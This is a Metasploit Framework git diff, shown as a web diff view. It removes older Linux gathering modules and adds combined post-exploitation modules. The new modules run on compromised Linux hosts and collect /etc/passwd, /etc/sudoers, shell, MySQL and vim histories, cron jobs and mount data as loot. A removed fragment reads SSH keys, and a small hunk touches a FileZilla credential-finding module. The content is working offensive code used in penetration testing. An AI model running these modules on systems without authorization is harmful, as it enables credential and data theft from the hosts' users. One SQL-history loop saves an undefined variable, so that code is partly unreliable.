print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_ssh_keys
|
||||
keys = []
|
||||
|
||||
#Look for .ssh folder, "~/" might not work everytime
|
||||
dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
|
||||
ssh_base = ''
|
||||
dirs.each do |d|
|
||||
if d =~ /(^\/)(.*)\.ssh$/
|
||||
ssh_base = d
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# We didn't find .ssh :-(
|
||||
return [] if ssh_base == ''
|
||||
|
||||
# List all the files under .ssh/
|
||||
files = execute("/bin/ls -a #{ssh_base}").chomp.split()
|
||||
|
||||
files.each do |k|
|
||||
next if k =~/^(\.+)$/
|
||||
this_key = cat_file("#{ssh_base}/#{k}")
|
||||
keys << this_key
|
||||
end
|
||||
|
||||
return keys
|
||||
end
|
||||
end
|
|
@ -1,77 +0,0 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Installed Packages',
|
||||
'Description' => %q{ Post Module to get installed packages on a Linux System},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
|
||||
|
||||
# Print the info
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
installed_pkg = get_pakages(distro[:distro])
|
||||
pkg_loot = store_loot("linux.packages", "text/plain", session, installed_pkg, "installed_packages.txt", "Linux Installed Packages")
|
||||
print_status("Package list saved to loot file: #{pkg_loot}")
|
||||
if datastore['VERBOSE']
|
||||
print_good("Packages:")
|
||||
|
||||
# Print the Packages
|
||||
installed_pkg.each_line do |p|
|
||||
print_good("\t#{p.chomp}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_pakages(distro)
|
||||
packages_installed = nil
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
packages_installed = cmd_exec("rpm -qa")
|
||||
elsif distro =~ /slackware/
|
||||
packages_installed = cmd_exec("ls /var/log/packages")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
packages_installed = cmd_exec("dpkg -l")
|
||||
elsif distro =~ /gentoo/
|
||||
packages_installed = cmd_exec("equery list")
|
||||
elsif distro =~ /arch/
|
||||
packages_installed = cmd_exec("/usr/bin/pacman -Q")
|
||||
else
|
||||
print_error("Could not determine package manager to get list of installed packages")
|
||||
end
|
||||
return packages_installed
|
||||
end
|
||||
end
|
|
@ -1,81 +0,0 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Configured Services',
|
||||
'Description' => %q{ Post Module to enumerate Services on a Linux System},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
|
||||
|
||||
# Print the info
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
installed_pkg = get_services(distro[:distro])
|
||||
pkg_loot = store_loot("linux.services", "text/plain", session, installed_pkg, "configured_services.txt", "Linux Configured Services")
|
||||
print_status("Service list saved to loot file: #{pkg_loot}")
|
||||
if datastore['VERBOSE']
|
||||
print_good("Services:")
|
||||
|
||||
# Print the Packages
|
||||
installed_pkg.each_line do |p|
|
||||
print_good("\t#{p.chomp}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_services(distro)
|
||||
services_installed = ""
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
services_installed = cmd_exec("/sbin/chkconfig --list")
|
||||
elsif distro =~ /slackware/
|
||||
services_installed << "\nEnabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'*$\'")
|
||||
services_installed << "\n\nDisabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
services_installed = cmd_exec("/usr/bin/service --status-all")
|
||||
elsif distro =~ /gentoo/
|
||||
services_installed = cmd_exec("/bin/rc-status --all")
|
||||
elsif distro =~ /arch/
|
||||
services_installed = cmd_exec("/bin/egrep '^DAEMONS' /etc/rc.conf")
|
||||
else
|
||||
print_error("Could not determine the Linux Distribution to get list of configured services")
|
||||
end
|
||||
return services_installed
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,174 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather System and User Information',
|
||||
'Description' => %q{
|
||||
This module gathers system information. We collect
|
||||
installed packages, installed services, mount information,
|
||||
user list, user bash history and cron jobs
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>', # get_packages and get_services
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>', # get_cron and original enum_linux
|
||||
'sinn3r', # Testing and modification of original enum_linux
|
||||
'ohdae <bindshell[at]live.com>', # Combined separate mods, modifications and testing
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
store_loot(
|
||||
"linux.version",
|
||||
"text/plain",
|
||||
session,
|
||||
"Distro: #{distro[:distro]},Version: #{distro[:version]}, Kernel: #{distro[:kernel]}",
|
||||
"linux_info.txt",
|
||||
"Linux Version")
|
||||
|
||||
# Print the info
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
||||
user = execute("/usr/bin/whoami")
|
||||
|
||||
installed_pkg = get_packages(distro[:distro])
|
||||
installed_svc = get_services(distro[:distro])
|
||||
|
||||
mount = execute("/bin/mount -l")
|
||||
crons = get_crons(users, user)
|
||||
diskspace = execute("/bin/df -ahT")
|
||||
disks = (mount +"\n\/"+ diskspace)
|
||||
|
||||
save("Linux version", distro)
|
||||
save("User accounts", users)
|
||||
save("Installed Packages", installed_pkg)
|
||||
save("Running Services", installed_svc)
|
||||
save("Cron jobs", crons)
|
||||
save("Disk info", disks)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.system"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_packages(distro)
|
||||
packages_installed = nil
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
packages_installed = execute("rpm -qa")
|
||||
elsif distro =~ /slackware/
|
||||
packages_installed = execute("ls /var/log/packages")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
packages_installed = execute("dpkg -l")
|
||||
elsif distro =~ /gentoo/
|
||||
packages_installed = execute("equery list")
|
||||
elsif distro =~ /arch/
|
||||
packages_installed = execute("/usr/bin/pacman -Q")
|
||||
else
|
||||
print_error("Could not determine package manager to get list of installed packages")
|
||||
end
|
||||
return packages_installed
|
||||
end
|
||||
|
||||
def get_services(distro)
|
||||
services_installed = ""
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
|
||||
services_installed = execute("/sbin/chkconfig --list")
|
||||
elsif distro =~ /slackware/
|
||||
services_installed << "\nEnabled:\n*************************\n"
|
||||
services_installed << execute("ls -F /etc/rc.d | /bin/grep \'*$\'")
|
||||
services_installed << "\n\nDisabled:\n*************************\n"
|
||||
services_installed << execute("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
services_installed = execute("/usr/bin/service --status-all")
|
||||
elsif distro =~ /gentoo/
|
||||
services_installed = execute("/bin/rc-status --all")
|
||||
elsif distro =~ /arch/
|
||||
services_installed = execute("/bin/egrep '^DAEMONS' /etc/rc.conf")
|
||||
else
|
||||
print_error("Could not determine the Linux Distribution to get list of configured services")
|
||||
end
|
||||
return services_installed
|
||||
end
|
||||
|
||||
def get_crons(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Enumerating as root")
|
||||
cron_data = ""
|
||||
users.each do |u|
|
||||
cron_data += "*****Listing cron jobs for #{u}*****\n"
|
||||
cron_data += execute("crontab -u #{u} -l") + "\n\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
vprint_status("Enumerating as #{user}")
|
||||
cron_data = "***** Listing cron jobs for #{user} *****\n\n"
|
||||
cron_data += execute("crontab -l")
|
||||
end
|
||||
|
||||
# Save cron data to loot
|
||||
return cron_data
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,161 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux User Information',
|
||||
'Description' => %q{ This module gathers user specific information.
|
||||
User list, bash history, mysql history, vim history,
|
||||
lastlog and sudoers.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'ohdae <bindshell@live.com>' # based largely on get_bash_history function by Stephen Haywood
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
||||
user = execute("/usr/bin/whoami")
|
||||
|
||||
mount = execute("/bin/mount -l")
|
||||
get_bash_history(users, user)
|
||||
get_sql_history(users, user)
|
||||
get_vim_history(users, user)
|
||||
last = execute("/usr/bin/last && /usr/bin/lastlog")
|
||||
sudoers = cat_file("/etc/sudoers")
|
||||
|
||||
save("Last logs", last)
|
||||
save("Sudoers", sudoers) unless sudoers =~ /Permission denied/
|
||||
|
||||
end
|
||||
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.users"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_bash_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/root/.bash_history")
|
||||
else
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/home/#{u}/.bash_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
hist = cat_file("/home/#{user}/.bash_history")
|
||||
vprint_status(hist)
|
||||
save("History for #{user}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
def get_sql_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting SQL history for #{u}")
|
||||
sql_hist = cat_file("/root/.mysql_history")
|
||||
else
|
||||
vprint_status("Extracting SQL history for #{u}")
|
||||
sql_hist = cat_file("/home/#{u}/.mysql_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless sql_hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting SQL history for #{user}")
|
||||
sql_hist = cat_file("/home/#{user}/.mysql_history")
|
||||
vprint_status(sql_hist)
|
||||
save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
def get_vim_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting VIM history for #{u}")
|
||||
vim_hist = cat_file("/root/.viminfo")
|
||||
else
|
||||
vprint_status("Extracting VIM history for #{u}")
|
||||
vim_hist = cat_file("/home/#{u}/.viminfo")
|
||||
end
|
||||
|
||||
save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
vim_hist = cat_file("/home/#{user}/.viminfo")
|
||||
vprint_status(vim_hist)
|
||||
save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,160 @@
|
|||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather User History',
|
||||
'Description' => %q{
|
||||
This module gathers user specific information.
|
||||
User list, bash history, mysql history, vim history,
|
||||
lastlog and sudoers.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
# based largely on get_bash_history function by Stephen Haywood
|
||||
'ohdae <bindshell[at]live.com>'
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
||||
user = execute("/usr/bin/whoami")
|
||||
|
||||
mount = execute("/bin/mount -l")
|
||||
get_bash_history(users, user)
|
||||
get_sql_history(users, user)
|
||||
get_vim_history(users, user)
|
||||
last = execute("/usr/bin/last && /usr/bin/lastlog")
|
||||
sudoers = cat_file("/etc/sudoers")
|
||||
|
||||
save("Last logs", last)
|
||||
save("Sudoers", sudoers) unless sudoers =~ /Permission denied/
|
||||
end
|
||||
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.users"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_bash_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/root/.bash_history")
|
||||
else
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/home/#{u}/.bash_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
hist = cat_file("/home/#{user}/.bash_history")
|
||||
vprint_status(hist)
|
||||
save("History for #{user}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
def get_sql_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting SQL history for #{u}")
|
||||
sql_hist = cat_file("/root/.mysql_history")
|
||||
else
|
||||
vprint_status("Extracting SQL history for #{u}")
|
||||
sql_hist = cat_file("/home/#{u}/.mysql_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless sql_hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting SQL history for #{user}")
|
||||
sql_hist = cat_file("/home/#{user}/.mysql_history")
|
||||
vprint_status(sql_hist)
|
||||
save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
def get_vim_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting VIM history for #{u}")
|
||||
vim_hist = cat_file("/root/.viminfo")
|
||||
else
|
||||
vprint_status("Extracting VIM history for #{u}")
|
||||
vim_hist = cat_file("/home/#{u}/.viminfo")
|
||||
end
|
||||
|
||||
save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
vim_hist = cat_file("/home/#{user}/.viminfo")
|
||||
vprint_status(vim_hist)
|
||||
save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
end
|
|
@ -105,8 +105,8 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Checking for Filezilla directory in: #{filezilladir}")
|
||||
session.fs.dir.foreach(filezilladir) do |dir|
|
||||
if dir =~ /FileZilla/
|
||||
print_status("Found #{filezilladir}#{dir}")
|
||||
return "#{filezilladir}#{dir}"
|
||||
print_status("Found #{filezilladir}\\#{dir}")
|
||||
return "#{filezilladir}\\#{dir}"
|
||||
end
|
||||
end
|
||||
return nil
|
||||
|
|
Loading…
Reference in New Issue